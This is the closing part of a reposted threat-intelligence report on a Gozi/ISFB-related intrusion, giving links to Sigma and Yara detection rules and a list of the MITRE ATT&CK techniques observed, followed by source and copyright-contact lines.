https://github.com/SigmaHQ/sigma/blob/9bf023ceba17aab3d2595c03a8e2345aa08bb976/rules/proxy/proxy_ua_malware.yml

Yara

https://github.com/k-vitali/Malware-Misc-RE/blob/master/2020-03-24-isfb-gozi-217-browser-yara.vk.yarhttps://github.com/The-DFIR-Report/Yara-Rules/blob/main/17386/17386.yar

ATT&CK 映射

Mshta - T1218.005
Visual Basic - T1059.005
Compile After Delivery - T1027.004
BITS Jobs - T1197
Credentials from Password Stores - T1555
LSASS Memory - T1003.001
System Information Discovery - T1082
Process Discovery - T1057
Domain Trust Discovery - T1482
Mark-of-the-Web Bypass - T1553.005
Malicious File - T1204.002
System Time Discovery - T1124
System Owner/User Discovery - T1033
Remote System Discovery - T1018
Remote Desktop Protocol - T1021.001
Windows Management Instrumentation - T1047
Domain Account - T1087.002
Process Injection - T1055
Asynchronous Procedure Call - T1055.004
Registry Run Keys / Startup Folder - T1547.001
Remote Access Software - T1219
Web Protocols - T1071.001
Lateral Tool Transfer - T1570
Exfiltration Over C2 Channel - T1041


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDE3ODc1Mw==&mid=2247485298&idx=1&sn=a384bd009ef4544d09314264f5838f9c&chksm=c27f74dcf508fdca2b61458b786691058c53f0974c154f7f47a30b40d82a063201755fe8c638#rd
如有侵权请联系:admin#unsafe.sh